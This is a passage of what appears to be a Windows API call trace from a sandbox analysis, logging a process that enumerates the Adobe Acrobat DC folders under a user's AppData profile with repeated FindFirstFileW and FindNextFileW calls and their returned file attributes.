returned 0 [0197.623] FindClose (in: hFindFile=0x139b038 | out: hFindFile=0x139b038) returned 1 [0197.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff038) returned 1 [0197.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff044) returned 1 [0197.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x12feb54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2d [0197.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x12feb20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2d [0197.623] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0197.624] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.624] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0197.624] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0197.624] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0197.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.624] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x12feac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2d [0197.624] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x12fed34 | out: lpFindFileData=0x12fed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b1f8 [0197.625] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.625] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0197.625] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.625] FindClose (in: hFindFile=0x139b1f8 | out: hFindFile=0x139b1f8) returned 1 [0197.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x12feae4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x30 [0197.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x12feab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x30 [0197.625] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0197.625] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.626] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0197.626] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0197.626] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSCache", cAlternateFileName="")) returned 1 [0197.626] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0197.626] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0197.626] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0197.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x12fea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x30 [0197.627] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x12fecc4 | out: lpFindFileData=0x12fecc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0197.627] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.627] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0197.627] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0197.627] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSCache", cAlternateFileName="")) returned 1 [0197.627] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0197.627] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.628] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0197.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.628] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", nBufferLength=0x105, lpBuffer=0x12fea74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", lpFilePart=0x0) returned 0x37 [0197.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0197.628] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", nBufferLength=0x105, lpBuffer=0x12fea40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", lpFilePart=0x0) returned 0x37 [0197.628] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0197.628] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.628] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0197.628] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0197.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0197.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0197.628] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", nBufferLength=0x105, lpBuffer=0x12fea74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", lpFilePart=0x0) returned 0x36 [0197.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0197.629] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", nBufferLength=0x105, lpBuffer=0x12fea40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", lpFilePart=0x0) returned 0x36 [0197.629] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0197.629] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.629] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0197.629] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0197.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0197.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0197.629] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", nBufferLength=0x105, lpBuffer=0x12fea74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpFilePart=0x0) returned 0x38 [0197.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0197.629] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", nBufferLength=0x105, lpBuffer=0x12fea40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpFilePart=0x0) returned 0x38 [0197.629] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0197.630] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.630] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636b588b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x636b588b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x636b588b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobData", cAlternateFileName="")) returned 1 [0197.630] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobSettings", cAlternateFileName="GLOBSE~1")) returned 1 [0197.630] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.630] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0197.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0197.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0197.630] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", nBufferLength=0x105, lpBuffer=0x12fea74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpFilePart=0x0) returned 0x39 [0197.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0197.630] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", nBufferLength=0x105, lpBuffer=0x12fea40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpFilePart=0x0) returned 0x39 [0197.631] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0197.631] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, 